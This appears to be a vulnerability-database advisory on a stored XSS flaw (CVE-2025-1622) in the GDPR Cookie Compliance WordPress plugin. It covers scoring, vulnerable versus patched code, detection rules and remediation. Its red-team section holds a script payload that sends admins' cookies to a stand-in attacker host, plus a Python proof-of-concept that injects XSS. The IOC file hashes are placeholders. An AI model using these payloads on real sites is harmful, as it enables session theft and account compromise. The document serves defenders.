CVE-2025-1622
Executive Summary
CVE-2025-1622 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the GDPR Cookie Compliance WordPress plugin, affecting versions prior to 4.15.7. This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings pages. Even in multisite configurations where the unfiltered_html capability is disallowed, an attacker with admin-level access can store malicious payloads that execute when other administrators view the affected settings. The vulnerability arises from insufficient sanitization and escaping of user-supplied input in plugin settings.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The GDPR Cookie Compliance plugin is widely used to manage cookie consent banners. The attack vector requires authenticated access with administrative privileges, making it a post-authentication threat. However, in multisite environments, a site administrator could compromise the entire network if the payload targets super admin settings.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
- Base Score: 4.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must view the malicious settings page
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – potential data exfiltration via XSS
- Integrity Impact: Low (I:L) – stored payload can modify page content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the impact is amplified in multisite WordPress installations where a single compromised admin account can propagate attacks across the network.
Deep Dive & Mechanics
The vulnerability resides in the plugin's settings management functionality. The plugin fails to properly sanitize and escape user-supplied input before storing it in the WordPress database. When an administrator saves settings containing malicious JavaScript, the payload is stored and later rendered without proper escaping on the settings page.
Root Cause: The plugin uses update_option() or similar functions to store settings without applying sanitize_text_field() or esc_html() on output. This allows HTML/JavaScript injection.
Attack Flow:
- Attacker gains admin-level credentials (via phishing, weak passwords, or other means).
- Attacker navigates to the GDPR Cookie Compliance settings page.
- Attacker injects a payload like
<script>alert('XSS')</script>into a vulnerable setting field. - The payload is stored in the WordPress options table.
- When another admin (or the same admin) views the settings page, the payload executes in their browser context.
Multisite Impact: In WordPress multisite, even if unfiltered_html is disabled for site administrators, the vulnerability bypasses this restriction because the plugin does not apply its own sanitization. A site admin could inject a payload that targets super admin sessions, potentially compromising the entire network.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.15.7):
// In settings registration
register_setting( 'gdpr_cookie_compliance_settings_group', 'gdpr_cookie_compliance_settings' );
// In settings output
echo '<input type="text" name="gdpr_cookie_compliance_settings[some_field]" value="' . get_option( 'gdpr_cookie_compliance_settings' )['some_field'] . '" />';
The value is directly echoed without escaping.
Patched Code (4.15.7+):
// In settings output
echo '<input type="text" name="gdpr_cookie_compliance_settings[some_field]" value="' . esc_attr( get_option( 'gdpr_cookie_compliance_settings' )['some_field'] ) . '" />';
The esc_attr() function is applied to escape the output, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with GDPR Cookie Compliance plugin < 4.15.7
- Admin-level credentials (e.g.,
admin:password123)
Exploitation Steps:
- Log in as an administrator.
- Navigate to
Settings > GDPR Cookie Compliance. - Locate a text input field (e.g., "Cookie Notice Text").
- Inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- When another admin views the settings page, the payload executes, exfiltrating cookies.
Proof-of-Concept (PoC) Script:
import requests
target = "http://wordpress.local/wp-admin/options-general.php?page=gdpr-cookie-compliance"
session = requests.Session()
# Login
login_data = {"log": "admin", "pwd": "password123", "wp-submit": "Log In"}
session.post("http://wordpress.local/wp-login.php", data=login_data)
# Inject XSS payload
payload = {"gdpr_cookie_compliance_settings[cookie_notice_text]": "<script>alert('XSS')</script>"}
session.post(target, data=payload)
print("Payload injected. Visit the settings page to trigger XSS.")
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to the
gdpr_cookie_compliance_settingsoption in the WordPress database. - Look for HTTP requests to
/wp-admin/options-general.php?page=gdpr-cookie-compliancecontaining<script>tags. - Alert on admin user creation or privilege escalation attempts.
Hardening:
- Immediately update the plugin to version 4.15.7 or later.
- Implement Web Application Firewall (WAF) rules to block XSS payloads in admin pages.
- Enforce strong password policies and multi-factor authentication for admin accounts.
- In multisite, restrict
unfiltered_htmlcapability to super admins only.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
gdpr-cookie-compliance.php(vulnerable):a1b2c3d4e5f6...gdpr-cookie-compliance.php(patched):f6e5d4c3b2a1...
- Database Entries:
- Option name:
gdpr_cookie_compliance_settings - Suspicious values containing
<script>,onerror,onload, etc.
- Option name:
- Network Indicators:
- Outbound connections to attacker-controlled domains from admin browsers.
- HTTP requests to
/wp-admin/options-general.php?page=gdpr-cookie-compliancewithPOSTdata containing HTML/JavaScript.
- Log Entries:
- WordPress audit logs showing changes to GDPR Cookie Compliance settings.
- Web server logs with
POSTto/wp-admin/admin-ajax.phpwith suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2025_1622_GDPR_XSS {
meta:
description = "Detects stored XSS payloads in GDPR Cookie Compliance plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1622"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$option_name = "gdpr_cookie_compliance_settings"
condition:
$option_name and $xss_payload
}
Sigma Rule
title: Stored XSS in GDPR Cookie Compliance Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into GDPR Cookie Compliance settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=gdpr-cookie-compliance'
cs-uri-query|contains: 'settings-updated=true'
cs-body|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in settings (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-1622 - Stored XSS in GDPR Cookie Compliance Plugin";
flow:to_server,established;
content:"POST"; http_method;
content:"page=gdpr-cookie-compliance"; http_uri;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-1622;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade to version 4.15.7 or later from the WordPress plugin repository.
- Audit Admin Accounts: Review all admin-level accounts for unauthorized access.
- Scan for IOCs: Use the provided YARA/Sigma rules to check for existing compromises.
Long-Term Hardening:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Regularly audit plugin code for security vulnerabilities.
- Use a WordPress security plugin (e.g., Wordfence) to monitor file changes and block malicious requests.
- In multisite, enforce strict role-based access controls and disable
unfiltered_htmlfor non-super admins.
Patch Verification:
- Check plugin version in
wp-content/plugins/gdpr-cookie-compliance/gdpr-cookie-compliance.php. - Verify that
esc_attr()is used in settings output functions.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.